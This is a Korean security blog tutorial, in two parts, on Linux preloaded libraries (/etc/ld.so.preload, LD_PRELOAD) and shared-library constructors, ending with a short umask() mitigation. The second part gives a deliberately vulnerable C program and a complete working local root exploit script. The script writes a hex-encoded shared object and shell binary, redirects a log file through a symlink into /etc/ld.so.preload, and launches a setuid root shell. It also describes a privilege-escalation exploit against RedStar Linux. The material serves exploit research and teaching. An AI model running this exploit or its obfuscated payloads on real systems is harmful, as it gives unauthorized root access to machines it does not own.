정대근 보안기술팀장 (A.K.A 1ndr4)

indra@a3security.com


여러분은 "선적재 라이브러리"라는 말을 들어보신적 있으신가요? 선적재(Pre-loaded)된 라이브러리는 다른 로드 된 공유라이브러리보다 우선순위를 가지고 있다는 특징이 있습니다. 그로 인해 특정 함수에 대한 Hooking에 사용되기도 하고 개발자의 디버깅에도 유용하게 사용되고 있습니다. 우선 다음의 페이지에서 선적재 라이브러리에 대해 간략한 설명을 보실 수 있습니다.


Secure Programming for Linux and Unix HOWTO - 3.7. 동적 링크 라이브러리

https://wiki.kldp.org/HOWTO/html/Secure-Programs-HOWTO/dlls.html


페이지 글 중간에 전반적으로 Linux 시스템에서 동작하는 라이브러리의 구조와 함께 ld.so.preload 파일의 특징과 활용법, 그리고 같은 맥락으로 동작하는 LD_PRELOAD 환경변수에 대해 설명하고 있습니다.

(2018년 2월 1일 기준 위 페이지에서 설명하는 LD_RELOAD라는 환경변수는 LD_PRELOAD의 오타로 확인되고 있습니다.)

선 적재 라이브러리가 활용되는 흔적은 strace(system call tracer)에서도 확인할 수 있습니다.


[그림 1] strace로 확인한 선 적재 라이브러리 활용의 흔적


/bin/ls 프로그램 실행 시작 직후 시스템 내부에서는 /etc/ld.so.preload 파일의 존재 여부를 확인하고 있습니다. /etc/ld.so.preload라는 파일은 어떠한 파일일까요? ld.so의 man 페이지에서는 다음과 같이 설명하고 있습니다.


LD.SO(8)                   Linux Programmer’s Manual                  LD.SO(8)


NAME

       ld.so, ld-linux.so* - dynamic linker/loader


DESCRIPTION

       The  programs ld.so and ld-linux.so* find and load the shared libraries

       needed by a program, prepare the program to run, and then run it.

>> snip <<

ENVIRONMENT

       There are four important environment variables.

>> snip <<
       LD_PRELOAD
              A whitespace-separated list of additional,  user-specified,  ELF
              shared  libraries  to  be loaded before all others.  This can be
              used  to  selectively  override  functions   in   other   shared
              libraries.   For  set-user-ID/set-group-ID  ELF  binaries,  only
              libraries in the standard search directories that are also  set-
              user-ID will be loaded.
>>snip <<
FILES
>> snip <<
       /etc/ld.so.preload
              File  containing  a  whitespace  separated  list  of  ELF shared
              libraries to be loaded before the program.
       lib*.so*
              shared libraries
...


Secure Programming for Linux and Unix HOWTO에서도 설명하는 것 처럼 ld.soman 페이지에 따르면 선적재 라이브러리를 활용할 수 있는 방법에 대해 2가지로 설명되고 있습니다. 첫번째는 환경변수인 LD_PRELOAD 값의 설정을 통해 특정 라이브러리를 선적재 할 수 있고, 두번째로는 /etc/ld.so.preload 파일을 이용해 선적재 라이브러리를 지정할 수 있다고 합니다.


LD_PRELOAD 환경변수를 이용한 선적재 라이브러리 활용은 2014년에 저희 TeamCR@K 블로그에 올린 zygote 프로세스에 LD_PRELOAD 환경변수 삽입하기 편에도 일부 언급되어 있어 본 글에서는 ld.so.preload를 중점으로 설명하고자 합니다. Linux에서 파일실행에 의해 프로세스 화 된 시점의 기본적인 플랫폼 환경은 GLIBC가 근간이 되고 있습니다. GLIBC는 실행된 프로그램과 Kernel 중간에 위치하면서 프로그램 실행에 여러가지 관여를 합니다. GLIBC 소스코드를 다운로드 받아 분석해보면 ld.so.preload 의 동작 구성도 엿 볼 수 있습니다.


아래의 소스코드는 GLIBC 소스코드 트리에서 elf/rtld.c 파일의 일부 내용입니다.


[그림 2] GLIBC 2.9 버전에서 ld.so.preload 를 이용하여 선적재 라이브러리를 구성하는 로직


GLIBC 소스코드 트리 중 elf/rtld.c 소스코드를 참조하면 do_preload() 에 의해 라이브러리의 선적재하는 과정을 알 수 있습니다. 위에 언급되어 있는 것 처럼 선적재 라이브러리는 다른 라이브러리에 우선한다고 했습니다. 그 말은 같은 함수가 로드되는 다른 라이브러리에 구현이 되어 있더라도 선적재 라이브러리에 구현된 함수가 우선순위를 가지고 있는 것을 말하며, 해당 특성을 이용하여 Wrapping Function의 구현과 같은 방법으로 특정 함수를 Hooking할 수 있습니다.


음의 코드는 setuid() 함수를 Hooking하는 코드입니다.


/*

* libsetuid.so.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example code for wrapped function of setuid()

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <dlfcn.h>


static int (*orig_setuid)(uid_t uid);


int setuid(uid_t uid)

{

        int ret = 0;

        void *dl = NULL;

        char exe[1024] = {0,};


        readlink("/proc/self/exe", exe, sizeof(exe));

        fprintf(stdout, "[DEBUG] Hooked setuid(%d) by '%s'\n", uid, exe);

        if((dl = dlopen("/lib/libc.so.6", RTLD_LAZY)) != NULL) {

                if((orig_setuid = dlsym(dl, "setuid")) != NULL) {

                        ret = orig_setuid(uid);

                }

                dlclose(dl);

        }

        return ret;

}



GLIBC 내에 구현된 setuid() 함수를 라이브러리 직접 참조를 통해 불러오고 실행하기 위해 DL 라이브러리를 사용합니다. 또한 이를 위해 setuid() 함수의 원형을 함수포인터 형태로 정의합니다. setuid()가 실행되면 readlink()를 통해 현재 해당 함수를 실행하도록 한 프로그램의 경로를 받아오고 이를 디버그 메시지를 통해 사용자에게 전달합니다. 이 후 dlopen()dlsym()을 통해 GLIBC에 구현된 setuid() 함수를 실행할 수 있도록 구현되어 있습니다.


위 소스코드를 컴파일 후 /bin/su를 타겟 대상으로 삼고 테스트를 진행하였습니다. 패스워드 인증을 통해 사용자 권한을 변경할 수 있도록 한 /bin/su는 setuid()를 사용할 것이며, 프로그램 실행 초기에 /etc/ld.so.preload가 존재한다면 파일 안에 정의된 경로의 라이브러리를 선적재 할 것입니다. 내부적으로 setuid() 수행 시 선적재 된 라이브러리의 영향을 받는다면 디버그 메시지를 통해 wrapped function이 실행되는 것을 확인 할 수 있을 것 입니다.


[그림 3] ld.so.preload를 이용하여 setuid() 함수 hooking 가능 확인


위 화면에서 우리는 중요한 포인트 하나를 알 수 있습니다.


/etc/ld.so.preload는 상위 권한의 setuid bit가 설정된 프로그램에도 정상 동작을 보장하나, 같은 목적을 가진 LD_PRELOAD 환경변수를 통한 라이브러리 선적재의 경우 상위 권한의 setuid bit가 설정된 프로그램과 같이 실행되면 정상 실행이 되지 않습니다. 이는 사용자 누구나가 변경이 가능한 환경변수의 경우 기본적으로 신뢰할 수 없는 값으로 판단하여 처리하도록 설계 한 보안의 가장 기본적인 1원칙이 그 이유가 아닐까요?


[그림 4] setuid bit가 설정된 파일 실행 시 무시되는 LD_PRELOAD 환경변수


지금까지 Shared Library 특성에 대해서 알아보았는데요. 이에 더불어 기존에 알아보았던 Constructor의 개념도 선적재 라이브러리와 함께 활용될수는 없을까요? 이를 알아보기 위해 한 가지 더 테스트를 해 보기로 했습니다.


/*

* libmypriv.so.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example code for constructor of shared library

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <dlfcn.h>


int __attribute__((constructor)) init(void)

{

        fprintf(stdout, "[DEBUG] UID: %d / GID: %d / EUID: %d / EGID: %d\n",

                getuid(), getgid(), geteuid(), getegid());

        return 0;

}


Constructor 역할을 하기 위한 함수를 구현했는데, 이는 사용자의 User-ID/Group-IDEffective-User-ID/Effective-Group-ID를 출력하고 리턴하는 함수입니다. 일반적으로 프로그램 실행 시 권한 관리를 위해 User-ID 권한과 Effective-User-ID 권한을 따로 분리하는데, 해당 개념을 이해하고 있으면 향후 setuid bit가 설정된 프로그램 분석에 많은 도움을 줍니다.


위 코드를 공유 라이브러리 형태로 컴파일 하고 선적재 하도록 한 후 setuid bit가 설정된 프로그램을 실행하면 어떻게 될까요?

 

[그림 5] setuid bit가 설정된 파일 실행 시에도 유효한 Pre-loaded Library 및 Constructor 속성


/bin/su 실행 시 libmypriv.so 가 선적재되고, Constructor 속성으로 인해 패스워드를 입력 받기 전 init() 함수가 호출되어 해당 함수가 실행되는 것을 볼 수 있습니다. 


[그림 6] System Call Tracer로 확인한 Pre-loaded Library와 Library의 Constructor 속성의 정상 동작


System Call Tracer를 통해 확인한 경우 ptrace()의 영향으로 인해 파일의 setuid bit가 무시되어 getuid() 계열의 함수 반환 값이 일반 사용자 User-ID로 표현되어 있지만, 선적재 된 라이브러리의 함수인 init() 함수가 Constructor 속성에 의해 프로그램 시작 초기에 실행된다는 것을 알 수 있습니다.


지금까지 Linux 환경에서 가능한 ConstructorPre-loaded Libraries에 대해 알아보았는데요. 실제 이것이 어떻게 Exploit Techniques와 연결될 수 있는지 그 실 예를 다음 편에서 알아보도록 하겠습니다.


정대근 보안기술팀장 (A.K.A 1ndr4)

indra@a3security.com


우리는 지금까지 중요한 포인트 2개를 살펴보았습니다.


● GCC syntax를 사용한 Constructor의 구현

● 선적재 라이브러리


위 과정에서 공유라이브러리의 Constructor의 구현 역시 가능하다는 것을 알 수 있었습니다. 지금까지 알아본 내용을 토대로 실제 exploit이 어떻게 구현이 가능한지 실 예를 통해 말씀 드려볼까 합니다.


(1) N.Korea RedStar 2.0 Incorrect permission local root exploit


지난 2012년 저희 TeamCR@K이 블로그에 포스팅 했던 글 중 북한 리눅스 '붉은별' 권한 상승 취약점을 살펴보고자 합니다. 글을 포스팅 했던 당시 내부 지침에 의해 exploit의 전체 내용을 공유드리지는 못했지만, 시일이 많이 흐른 관계로 해당 내용을 조금 더 자세하게 공유하도록 하겠습니다.



exploit은 C 버전과 Perl 버전이 존재하며, exploit 환경은 Comment 영역에 기록해 두었습니다.


붉은별 리눅스는 배포과정에서 공유라이브러리의 파일 퍼미션이 777(-rwxrwxrwx) 형태로 존재하여 기타 사용자가 해당 공유 라이브러리의 내용을 Overwrite 할 수 있는 환경이었습니다. 따라서 root 권한의 setuid bit가 설정되어 있는 대표적인 유틸리티 중 하나인 /bin/ping을 대상으로 참조되는 라이브러리를 파악했고, 네트워크 관련 라이브러리인 libresolv.so의 내용을 Overwrite하는 것으로 설정하였습니다.


exploit의 Perl 버전은 미리 컴파일 된 공유라이브러리와 쉘을 실행시키는 코드를 bzip2 압축형태로 사용했고, C 버전은 근본이 되는 C코드를 넣어 직접 컴파일 하도록 구현했었습니다. 이 때 공격에 사용될 라이브러리로 만든 코드에 Constructor 속성을 가지도록 하여 root 권한의 setuid bit가 설정된 프로그램 실행 시, root 권한의 쉘을 먼저 실행하도록 구성했습니다. 


[그림 1] C버전 exploit 중 Constructor 속성을 가진 라이브러리 함수 사용 루틴


exploit을 통해 조작된 libresolv.so 라이브러리가 로드 될 때, Constructor 속성을 가진 init() 함수가 먼저 실행되므로 init() 함수 안에서 system() 함수를 통해 사용된 /bin/bash 실행이 끝난 이 후 /bin/ping의 프로그램이 정상적으로 실행되는 것을 알 수 있습니다.   


[그림 2] 라이브러리의 Constructor 속성을 이용한 exploit


(2) Insecure file creation vulnerability


root 권한으로 파일을 생성할 때, 생성되는 파일의 소유 권한을 고려하지 않고 코드를 작성하는 경우 보안 취약점이 발생할 수 있습니다. 아래의 코드는 실제 저희 TeamCR@K이 모의해킹 도중 권한 상승 취약점을 이용했던 케이스로 취약점 발생 포인트만 재 구현해서 설명 드리고자 합니다.


/*

* vuln.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example code for insecure file creation vulnerability

*/

#include <stdio.h>

#include <dirent.h>


int main(int argc, char **argv)

{

        FILE *fp = NULL;

        char logfile[1024];


        snprintf(logfile, sizeof(logfile), "logs/%s.log", argv[0]);


        if((fp = fopen(logfile, "a+")) != NULL) {

                fputs("Write log contents!\n", fp);

                fclose(fp);

        }

        return 0;

}


위 코드는 다수개의 보안 취약점을 내포하고 있지만, 제일 큰 문제가 되는 것은 생성되는 파일의 기본 소유권한에 대해 검증하지 않는 코드라는 것입니다. 파일을 실행하면, logs 디렉터리에 프로그램 이름의 문자열을 따서 로그파일을 생성합니다. 그러나 파일 생성 시 파일 소유 권한을 지정할 수 없는 fopen() 함수를 이용하여 보안 취약점에 노출 될 수 있습니다.

다음 화면은 위 보안 취약점이 내포된 프로그램을 어떤 형태로 조작이 가능한지 테스트 해 본 화면입니다.


[그림 3] umask 를 이용해 파일 생성 시 소유 권한 조작


위 프로그램은 생성되는 파일에 대한 적절한 검증 절차가 존재하지 않아 umask를 이용해 생성되는 파일의 기본 소유 권한을 변경할 수 있고, 또한 로그파일 이름 자체가 프로그램명(Argument Value)과 연계되므로 원본 파일에 새로운 이름으로 symbolic link를 생성하여 symbolic link의 이름으로 실행한다면 로그파일 이름도 조작이 가능합니다. 

기본적으로 우리가 이제까지 공부한 Constructor 개념과 /etc/ld.so.preload의 선적재 라이브러리의 특성을 이용하면 위 보안 취약점을 이용한 권한 상승 exploit의 작성이 가능할 듯 합니다.


공격을 위한 기본 시나리오는 아래와 같습니다.


1. 쉘 실행 바이너리 생성 (/tmp/.teamcrak-root)

2. /tmp/.teamcrak-root 파일을 root 권한으로 변경하고 setuid 퍼미션을 세팅할 악의적인 공유라이브러리를 Constructor 속성을 가지도록 생성 (/tmp/evil.so)

3. 로그파일을 /etc/ld.so.preload 파일로 symbolic link 생성

4. vuln 실행

5. /etc/ld.so.preload 파일 생성 확인

6. /etc/ld.so.preload 파일에 /tmp/evil.so 문자열 Overwrite

7. root 권한의 setuid 파일 실행

8. /tmp/.teamcrak-root 파일에 root 권한의 setuid bit 설정 유무 확인

9. /tmp/.teamcrak-root 파일 실행 (root 권한 획득)


다음은 위 시나리오를 기반으로 쉘 스크립트 형태로 작성한 exploit 입니다.


#!/bin/sh

TARGET="/etc/ld.so.preload"

EVIL_BIN="/tmp/evil.so"

ROOTSHELL="/tmp/.teamcrak-root"

WORKDIR="/home/indra/Project/ld.so.preload/stage3"

VICTIM="vuln"

LOGFILE="${WORKDIR}/logs/TeamCRAK.log"


echo "###########################################################################"

echo "#####          Local root exploit for vulnerability example           #####"

echo "#####                                      - Insecure file creation - #####"

echo "#####                                                                 #####"

echo "#####                                                     2018.02.03  #####"

echo "#####                            Exploited by TeamCR@K in A3Security  #####"

echo "#####                                                                 #####"

echo "###########################################################################"


rm -rf ${EVIL_BIN}*

# ##################### 32BIT shared object binary

# #define ROOT "teamcrak-root\

# const char *rs = "/tmp/." ROOT;

# void __attribute__((constructor)) init(void) {

# setgid(0); setuid(0); chown(rs, 0, 0); chmod(rs, 06777); }

echo -ne "\x42\x5A\x68\x39\x31\x41\x59\x26\x53\x59\x96\xAD\xA2\x87\x00\x01\

\x67\x7F\xEF\xFF\xFF\xFE\x96\xC2\x6B\xE4\x08\x57\x44\x48\x48\xBF\

\xEF\xFE\x64\xC0\xA2\x14\x00\x41\x68\x0C\x62\x72\x68\x28\x4C\x23\

\x01\xB0\x01\x95\x81\x68\x34\x41\x53\x6C\xA8\xD0\x07\xA8\x00\x7A\

\x8D\x0F\x50\x7A\x9A\x00\xD0\x00\x06\x8D\x1E\xA0\x34\x07\xA4\xF4\

\x98\x9E\xA3\xD4\x22\x98\x99\x27\xA9\x3D\x34\x9B\x46\x80\x23\x4C\

\x4C\x8C\x09\xE8\x11\x80\x8C\x01\xA8\xD3\x26\x99\x0D\x0C\x9A\x0D\

\x31\x02\x44\xA2\x99\x94\x68\x1A\x26\x68\x00\x13\x13\x4C\x09\x93\

\x4C\x01\x0C\x4F\x51\x88\x62\x64\xC2\x69\xA6\x4D\x32\x60\xA6\x55\

\x04\x4A\x06\x10\xD2\x11\x05\x70\x50\x51\x8F\x20\xC5\x7E\x98\x51\

\x6A\x51\x73\x8C\xD1\x79\x8A\x8B\x75\x8E\x80\x30\xC8\x14\x5E\x19\

\x16\x30\x00\xD0\xB4\xA2\x14\x52\x81\x8B\x51\x07\xA6\x5F\x9E\x03\

\xF4\xF2\xB0\x5C\x7C\xEE\x5C\x40\x9C\xEB\x71\x56\xAC\x90\xFB\xCE\

\x64\x31\xD4\xE5\xB6\xD4\xA9\x89\x69\x7F\x52\xE6\x85\xED\x74\xE4\

\x4F\x34\x96\xB4\x85\x4E\xBE\x02\x18\x91\x3B\x06\xD2\x6D\x26\xD2\

\x4D\xA6\xD2\x6C\x26\x82\x0A\x11\x03\x60\xDD\x63\x64\x46\xDC\x91\

\x23\x21\xB7\x0D\x37\x62\xC5\x41\xA1\x0F\x22\x00\x2E\x98\x05\xFB\

\x3D\x6C\x57\x0D\x0A\xD1\x85\x1D\x58\x58\xF5\x76\xFD\xFB\x15\x77\

\x68\x80\x6D\x4C\x79\x56\xCA\x24\x5B\xA6\x6B\x60\x2B\x69\x0D\x16\

\x8A\x2C\xFB\x9A\x3A\xA3\x26\x86\x60\x4A\x38\x9B\x5E\x8E\xD3\x0B\

\xE6\x4E\xD0\xAB\x1D\xC3\x41\x5E\xCA\x89\xA1\x7A\x5A\x03\x29\xAB\

\x1C\x88\xF0\xE3\x80\xC4\x4E\x9D\x36\x99\x84\xA4\x95\x85\x27\x42\

\x7E\xFA\x72\x8A\xC1\xA3\xE8\xCD\xE6\x1F\x57\xA5\x2F\xC2\x4A\xDE\

\x0A\xE9\x0A\xB5\x7D\x92\x52\x76\x51\x09\x98\xF0\xE9\xA2\x92\x1C\

\x86\xC3\x85\x9B\x49\xEB\x32\x9F\x9A\x34\x05\x21\x02\x67\xC1\xA2\

\xC8\x74\xC7\x36\xCB\x1A\x90\x1A\x26\x59\x9A\x3D\xD4\xD0\x42\x39\

\x59\x70\x01\xF2\x8D\x03\x8C\x08\x98\xC3\xC0\xEF\xDA\x24\xB9\x13\

\xFA\x45\x80\x6B\x91\x25\x0A\x76\x64\x30\x53\x6C\xD9\x61\x1F\xC5\

\x56\x6C\x36\xB6\xF4\xE7\x5B\x28\x36\xF1\x17\xC0\x53\x79\x85\x10\

\x06\x22\xFA\x8E\xB0\x50\xE7\x32\x11\x58\x75\x24\x5E\x95\xC5\x6D\

\x2A\x95\x24\xCE\x70\xA3\x8F\x0A\xAC\x75\x56\x17\xA8\x81\xEA\x91\

\x25\x7B\x16\x9F\x9D\x16\xA4\x3F\x68\x89\x0F\x58\x4A\x72\xCB\xFE\

\x2E\xE4\x8A\x70\xA1\x21\x2D\x5B\x45\x0E" > ${EVIL_BIN}.bz2

bzip2 -d ${EVIL_BIN}.bz2


echo -ne "\x7F\x45\x4C\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\

\x02\x00\x03\x00\x01\x00\x00\x00\x54\x80\x04\x08\x34\x00\x00\x00\

\x94\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x28\x00\

\x03\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\

\x00\x80\x04\x08\x81\x00\x00\x00\x81\x00\x00\x00\x05\x00\x00\x00\

\x00\x10\x00\x00\x31\xDB\x89\xD8\xB0\x2E\xCD\x80\x31\xDB\x89\xD8\

\xB0\x17\xCD\x80\xEB\x0D\x5B\x31\xD2\x89\xD0\x52\x53\x89\xE1\xB0\

\x0B\xCD\x80\xE8\xEE\xFF\xFF\xFF\x2F\x62\x69\x6E\x2F\x73\x68" > ${ROOTSHELL}


if [ -f ${ROOTSHELL} ]; then

        if [ -f ${EVIL_BIN} ]; then

                echo "[*] Preparing environment: OK!"

        else

                echo "[!] No such ${EVIL_BIN}"

                break;

        fi

else

        echo "[!] No such ${ROOTSHELL}"

        break;

fi


# Creation a symbolic link

rm -rf ${LOGFILE}; ln -sf ${TARGET} ${LOGFILE}

rm -rf TeamCRAK; ln -sf ${WORKDIR}/${VICTIM} TeamCRAK


# setup umask

umask 0000


./TeamCRAK 2>/dev/null &


if [ -f ${TARGET} ]; then

        echo "${EVIL_BIN}" > ${TARGET} 2>/dev/null

        break;

fi

ping 2>/dev/null 1>/dev/null


if [ -u "${ROOTSHELL}" ]; then

        echo "[*] Exploit Successfully!~"

        echo "[*] Voila~ r00t sh3LL!"

        echo "" > ${TARGET}

        ${ROOTSHELL}

else

        echo "[*] Exploit failed."

fi


다음은 위 exploit을 통해 실제로 root 권한의 쉘을 획득하는 화면입니다.


[그림 4] 안전하지 않은 파일 생성 취약점을 통한 로컬 권한 상승


위 exploit 구현 중 쉘을 실행하는 ELF 바이너리와 공유 라이브러리는 파일 사이즈를 극도로 최소화 하는 과정을 거쳤는데, 해당 내용은 저희 TeamCR@K에서 예전에 포스팅 했던 다음 페이지에서 살펴보실 수 있습니다.



보신바와 같이 프로그램에서 생성되는 파일의 소유 권한이 악용되는 경우 이를 어떻게 통제할 수 있을까요?

fopen() 과 같이 생성되는 파일의 소유 권한을 정의할 수 없는 경우라면, umask() 함수를 이용해 생성되는 파일의 소유 권한을 초기화 하고 사용 할 수 있을 것 입니다.

다음 화면은 fopen() 함수 사용 이전, umask() 를 사용해 파일 소유 권한을 초기화 한 후 생성된 파일을 확인하는 화면입니다.


[그림 5] umask() 함수 사용을 통한 파일 생성 시 소유 권한 초기화 결과


setuid bit가 걸린 프로그램은 프로세스 실행 도중 권한이 변경되어 작용하므로 생성되는 파일 관리에도 각별한 주의를 필요로 합니다.

자! 지금까지 저희 TeamCR@K이 준비한 "Exploit Writing Technique"이 마무리가 되었습니다.
재미있게 보셨는지 모르겠습니다. :)
저희 팀은 올해 더 다양한 분야에 대한 연구나 기반기술에 대한 연구를 진행할 예정입니다.
비록 업무가 바빠 블로그에 많은 신경을 쓰지는 못했지만 올해에는 조금 더 다양한 자료로 자주 찾아뵐 것을 약속드리며, 
의문사항이나 지적사항은 댓글이나 a3_crak@a3security.com 으로 메일 보내드시면 감사하겠습니다! ;-)

읽어주셔서 감사합니다!